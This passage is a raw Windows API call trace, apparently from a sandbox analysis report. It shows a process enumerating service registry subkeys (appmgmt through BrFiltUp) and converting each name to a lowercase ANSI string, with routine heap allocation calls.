RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x1de44e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0253.862] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.862] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.862] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.862] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.862] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="arc") returned 0x0 [0253.862] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.862] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x1de4768, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0253.862] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.862] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.862] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.862] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.862] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0253.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x1de44e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0253.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.863] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.863] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.863] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.863] RegEnumKeyW (in: hKey=0x154, dwIndex=0x20, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0253.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x1de4768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0253.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.863] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.863] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.863] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.863] RegEnumKeyW (in: hKey=0x154, dwIndex=0x21, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0253.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x1de44e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0253.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.863] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.863] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.863] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.863] RegEnumKeyW (in: hKey=0x154, dwIndex=0x22, lpName=0x1dd29e0, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0253.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0253.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x1de4768, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0253.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.864] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.864] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.864] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.864] RegEnumKeyW (in: hKey=0x154, dwIndex=0x23, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0253.864] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.864] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x1de44e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0253.864] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.864] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.864] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.864] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.864] RegEnumKeyW (in: hKey=0x154, dwIndex=0x24, lpName=0x1dd29e0, cchName=0x104 | out: lpName="atapi") returned 0x0 [0253.864] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.864] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x1de4768, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0253.864] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.864] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.864] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.864] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.864] RegEnumKeyW (in: hKey=0x154, dwIndex=0x25, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0253.864] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0253.864] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x1de44e0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0253.864] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.864] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.864] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.864] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.864] RegEnumKeyW (in: hKey=0x154, dwIndex=0x26, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0253.864] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.864] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0253.865] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.865] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.865] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.865] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.865] RegEnumKeyW (in: hKey=0x154, dwIndex=0x27, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0253.865] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.865] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x1de44e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0253.865] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.865] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.865] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.865] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.865] RegEnumKeyW (in: hKey=0x154, dwIndex=0x28, lpName=0x1dd29e0, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0253.865] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.865] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x1de4768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0253.865] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.865] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.865] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.865] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.865] RegEnumKeyW (in: hKey=0x154, dwIndex=0x29, lpName=0x1dd29e0, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0253.865] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.865] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x1de44e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0253.865] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.865] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.865] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.865] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.865] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BattC") returned 0x0 [0253.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x1de4768, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0253.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.866] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.866] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.866] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.866] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0253.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x1de44e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0253.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.866] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.866] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.866] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.866] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Beep") returned 0x0 [0253.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x1de4768, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0253.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.866] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.866] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.866] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.866] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BFE") returned 0x0 [0253.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x1de44e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0253.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.866] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.867] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.867] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.867] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BITS") returned 0x0 [0253.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x1de4768, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0253.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.867] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.867] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.867] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.867] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0253.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x1de44e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0253.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.867] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.867] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.867] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.867] RegEnumKeyW (in: hKey=0x154, dwIndex=0x30, lpName=0x1dd29e0, cchName=0x104 | out: lpName="bowser") returned 0x0 [0253.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x1de4768, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0253.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.867] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.867] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.867] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.867] RegEnumKeyW (in: hKey=0x154, dwIndex=0x31, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0253.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x1de44e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0253.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.868] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.868] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.868] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.868] RegEnumKeyW (in: hKey=0x154, dwIndex=0x32, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0253.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 